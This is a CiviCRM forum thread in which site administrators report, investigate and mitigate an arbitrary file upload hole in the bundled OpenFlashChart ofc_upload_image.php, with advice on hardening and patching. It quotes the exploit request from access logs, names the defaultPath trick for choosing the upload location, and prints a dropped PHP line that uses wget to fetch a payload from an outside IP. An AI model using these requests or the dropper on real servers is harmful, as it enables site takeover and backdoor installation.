Security vulnerability in OpenFlashChart

[seniorheff]

See forums.cnet.com/7726-6132_102-5078545.html and packetstormsecurity.org/files/98311/sa43248.txt.  ofc_upload_image.php allows malicious people to upload an arbitrary file to compromise the server.  This vulnerability appears in OpenFlashChart, which is packaged in both the Drupal and Joomla versions of CiviCRM.  Hackers were able to compromise one of my sites using this vulnerability.

I have also contacted OpenFlashChart to alert them to the vulnerability. I would be willing to work on a patch, but I am not familiar with OpenFlashChart, or the purpose of ofc_upload_image.php.  Once we figure out a patch, would it be possible to send out an alert on the security mailing list so other sites are not affected?

Thanks!

[Donald Lobo]

Please let us know once OFC does a security release. We'll package it with 3.4.x / 4.0.x / 4.1.x and do a security release

lobo

[zither]

Does this security vulnerability still exist in CiviCRM 4.1.5?  Our web hosting believed it was the cause of our site being compromised.

[jbylsma]

(As a new CiviCRM forum user, I don't have permission to post links)

The security vulnerability exists in all versions of CiviCRM that package OpenFlashChart Version 2 (Lug Wyrm Charmer) with ofc_upload_image.php. The file was removed in connection the following issue: issues.civicrm.org/jira/browse/CRM-11330. All versions from 4.0.0 to 4.2.5 contain the file and are therefore vulnerable. I have not checked any 3.x versions, but based on the dates on the posts in this thread, I imagine they are equally vulnerable.

I am currently working on upgrading a client's Drupal/CiviCRM site and was lucky enough to catch someone exploiting the vulnerability before they could do anything nasty. The user generated a POST request to the following:

POST /sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=aaa.php

The POST contents was PHP file browser. After locking down my server, I verified the exploit.

While searching for information on the OpenFlashChart, I came across a similar OpenFlashChart exploit that uses ofc_upload_image.php for XSS: autosectools.com/Advisories/CiviCRM.3.3.3.Drupal-Joomla_Reflected.Cross-site.Scripting_102.html. Additionally, the ofc_upload_image.php file can be passed a "defaultPath" query string that allows the user to specify the upload location, which further heightens the severity of this exploit.

Although I'm actively working to upgrade to a non-vulnerable version, I feel that the severity of this issue merited my time to document it further and post on the forum. Does CiviCRM's policy include backporting security fixes to previous branches (4.1, 4.0, etc)? Based on the fix provided in issues.civicrm.org/jira/browse/CRM-11330, it appears that it would be fairly straightforward to update previous versions.

(I've tried my best to properly follow a CiviCRM procedures, but if I've goofed up, I apologize!)

[Donald Lobo]

We currently dont backport security fixes to older versions.

However if folks think that this is a good idea and are willing to lead this work and do the backport / release we'd be happy to facilitate that. Note that it would still be an upgrade to the highest minor point release

lobo

[pendar]

I found this post by doing a Google search, since the same attack happened on our servers today as well.
Here is the exact log line that shows how the vulnerability was exploited to upload a file called aaa.php

[16/Apr/2013:07:33:10 -0400] "POST /sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=aaa.php HTTP/1.1" 200 50 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"

the uploaded file aaa.php is here: http://pastebin.com/u3zQ88Vi
I'm no expert but based on some googling I'm guessing it's some sort of Back Door.

Obviously this is a serious issue. I was lucky that we had server-side monitoring for malicious files after an earlier attack. I have remove ofc_upload_image.php for now.

[tabletguy]

This is a list of files that I've found that were added by this exploit. There might be others. I found these by running a file scan and comparing with a previous scan.
Note the php file in the root of the website "wsjac.php"

Thanks to the others that have identified the actual vulnerable file!

administrator/components/com_civicrm/civicrm/conf.php
administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/conf.php
administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/shell.php
administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/endspie1.php
wsjac.php
administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/meki.php
administrator/components/com_civicrm/civicrm/packages/conf.php
administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/index.php

Hope this can help others.

[CiviTeacher.com]

After reviewing my sites that run versions prior to 4.2.5, I discovered one Joomla 1.5 and one D6 site that had been exploited.  Only the Joomla site showed any sort of symptoms such as malicious links or redirects.

Scanning for the list of files below was very helpful.  I can add 'aaa.php' to the list.

I run this command from the shell prompt to see files edited in the last 3 days:

Code: [Select]

find . -mtime -3

[xavier]

A quick fix might be to be sure packages folder isn't writable by www-data (or the user that runs the web).

I'm not using openflashchart extensively, but my default config it to have all the files owned by a different user than www-data and not writable beside the template_c and others civicrm temporary folders that I know needs to be open to modification.

Worked ok so far, the graphs for donations work normally.

X+

[Chris Burgess]

Not just a matter of the packages directory being world-writable (or www-writable). CiviCRM has multiple locations where an attacker can hide malicious code.

I've opened an issue on this related topic: http://issues.civicrm.org/jira/browse/CRM-12372

It's unlikely to be a quick simple fix, but I do think it would be a useful step towards hardening CiviCRM.

[Donald Lobo]

in the case of drupal and wordpress, the civi installer does not write ant of those files. So isnt this more on the site installer?

(joomla has a component installer and does one or two copies before it lands up in the final place, so i dont know what the permissions are there)

while i think we can (should?) check, seems like its a bit too much to preach and enforce best practices for all installs

lobo

[Chris Burgess]

Drupal does make efforts in this regard, using SetHandler to disable execution of PHP code in the web-writable upload directories (refer Drupal SA-2006-006 for details). Two methods are at play: preventing upload of dangerous extensions (munged filenames), AND disabling execution for the upload location (sethandler).

CiviCRM circumvents this in two ways
 - for "special" directories ("extensions" etc) by asking the admin to loosen permissions outside of sites/default/files after install,
 - for templates_c by including and executing www-writable PHP files from within sites/default.

(I suspect that a site installing extensions to sites/default/files might run into issues when accessing extension .php files directly due to the .htaccess sethandler fix in Drupal, but I've never tested that.)

FWIW, I harden Wordpress installs using a similar SetHandler fix to the Drupal one (something like this or this). IMO anything going to wp-content/uploads should be served as static content, and anything in wp-content/plugins gets installed by humans (or deployment processes).

[Chris Burgess]

Btw, I saw an attempt to exploit this on a CiviCRM 3.4.x site today, and logs for the previous year indicate fewno other attempts over that time. This and the fact that it's raised here today suggest that there may be a script doing the rounds, and it might be worth notifying sites running older releases of the issue.

Code: [Select]

x.x.x.x - - [17/Apr/2013:00:20:24 +1200] "POST /sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name=aaa.php HTTP/1.1" 200 82 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"
x.x.x.x - - [17/Apr/2013:00:35:45 +1200] "GET /sites/all/modules/civicrm/packages/OpenFlashCart/tmp-upload-images/aaa.php HTTP/1.1" 404 37373 "-" "-"
x.x.x.x - - [17/Apr/2013:03:33:59 +1200] "GET /sites/all/modules/civicrm/packages/OpenFlashChart/tmp-upload-images/ HTTP/1.1" 404 37373 "-" "-"

The matching browser string suggests this is a canned exploit, and the fact that the attacker didn't bother trying other upload paths (possible via $_GET['defaultPath']) suggests it's not a very concerted attack.

D for effort, bad guys!

[yogibear]

I did find . -mtime -3

and found public_html/sites/all/modules/civicrm/packages/OpenFlashChart/tmp-upload-images/code.php containing the following:
iskorpitx<?php system("wget http://185.12.109.113/q.txt; mv q.txt q.php"); ?>

and q.php with the same contents as q.txt below.

The following will make sense to someone
http://185.12.109.113/q.txt

Any tips on what I should do?

Ta.

[Donald Lobo]

1. Might want to read and follow the instructions here:

http://civicrm.org/blogs/totten/advisory-openflashchart-attacks

2.For any newly created files, i would move them out of the web directory into a tmp directory (for analysis later) and/or delete them

3. double check and make sure u've deleted the ofc_upload_image.php directory

lobo